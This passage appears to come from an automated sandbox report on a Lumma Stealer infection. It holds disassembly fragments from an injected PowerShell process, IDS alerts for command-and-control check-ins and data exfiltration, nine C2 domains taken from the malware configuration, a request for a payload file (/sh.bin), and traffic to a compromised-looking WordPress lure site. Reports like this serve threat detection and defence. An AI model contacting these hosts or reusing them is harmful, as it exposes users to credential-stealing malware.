Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+esi+00000218h]	30_2_0040D00B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	30_2_0042F883
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edx], cl	30_2_0042F883
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esp], eax	30_2_0042F883
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	30_2_0043E170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+3Ch]	30_2_0043F9E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 7E3E42A0h	30_2_0043BC40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [eax+edx+02h], 0000h	30_2_0040AF20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax]	30_2_004087F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	30_2_0041F020
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then test esi, esi	30_2_0043C020
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	30_2_00441820
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 27BE92A4h	30_2_00441820
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [ebx+ecx], 0000h	30_2_0041B02D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-600BE8C6h]	30_2_0041B02D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [edx], ax	30_2_0041B02D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	30_2_0042D8FD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then dec ebx	30_2_004410B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then dec ebx	30_2_00441140
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	30_2_0042E95D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	30_2_0042D7B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	30_2_0042E96C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-48h]	30_2_00441900
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	30_2_0042D907
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [eax]	30_2_0041B906
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	30_2_0042E91E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	30_2_0042B130
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, edx	30_2_0043A9C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	30_2_0042C9D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	30_2_00415197
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-23F82B87h]	30_2_0044025F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+60143A00h]	30_2_0041722D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, eax	30_2_004162A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	30_2_0041C2B3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	30_2_0042A35A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	30_2_00438B30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	30_2_00414BD5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53585096h	30_2_00414BD5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esp+10h], ecx	30_2_0043CB81
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+eax+00h]	30_2_00421C10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx]	30_2_00421C10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	30_2_0042ECEF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	30_2_00414C80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	30_2_00414C80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	30_2_004194B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, edx	30_2_00426D5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, ecx	30_2_0043F57D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, edx	30_2_00426D10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	30_2_00407530
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	30_2_00407530
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-17383AECh]	30_2_0041CDF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then xor cl, byte ptr [edx]	30_2_0041CDF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp al, 2Eh	30_2_00427DF4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	30_2_0041EDB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	30_2_00440DB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then dec ebx	30_2_00440DB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	30_2_0042D657
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then not eax	30_2_0041566A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	30_2_0043E6C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	30_2_00440ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then dec ebx	30_2_00440ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-5B240535h]	30_2_004096F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [eax]	30_2_0041B6F2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [eax], cl	30_2_00415EA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [edx], cx	30_2_00421700
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-67h]	30_2_0040C78D

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.17:49819 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.17:49819 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.17:49818 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.17:49818 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.17:49820 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.17:49825 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: truculengisau.biz
Source: Malware configuration extractor	URLs: marketlumpe.biz
Source: Malware configuration extractor	URLs: nuttyshopr.biz
Source: Malware configuration extractor	URLs: grandiouseziu.biz
Source: Malware configuration extractor	URLs: fraggielek.biz
Source: Malware configuration extractor	URLs: beliefbidu.cyou
Source: Malware configuration extractor	URLs: littlenotii.biz
Source: Malware configuration extractor	URLs: punishzement.biz
Source: Malware configuration extractor	URLs: spookycappy.biz

Source: global traffic

HTTP traffic detected: GET /sh.bin HTTP/1.1Host: d1.exploredairyaptitude.shopConnection: Keep-Alive

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49824 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49825 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49821 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49819 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49820 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49826 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49822 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49818 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.17:49823 -> 188.114.97.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /tiendas/head/ HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/fonts/ma_customfonts.css?ver=aefe0098 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/css/dist/block-library/style.min.css?ver=6.5.5 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/oxygen/component-framework/oxygen.css?ver=4.7 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tiendas/head/?xlink=css&ver=6.5.5 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6.1 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/11/LOGO-MAIPU.svg HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/01/head.png HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6.1 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/fonts/ITCAvantGardeStd-Bold.woff2 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://patiooutletmaipu.clsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://patiooutletmaipu.cl/wp-content/uploads/fonts/ma_customfonts.css?ver=aefe0098Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/fonts/ITCAvantGardeStd-Demi.woff2 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://patiooutletmaipu.clsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://patiooutletmaipu.cl/wp-content/uploads/fonts/ma_customfonts.css?ver=aefe0098Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/11/LOGO-MAIPU-BLANCO.svg HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/09/TikTok-Icon.png HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/11/LOGO-MAIPU.svg HTTP/1.1Host: patiooutletmaipu.clConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/oxygen/component-framework/vendor/aos/aos.css?ver=6.5.5 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2025/01/head.png HTTP/1.1Host: patiooutletmaipu.clConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/11/LOGO-MAIPU-BLANCO.svg HTTP/1.1Host: patiooutletmaipu.clConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
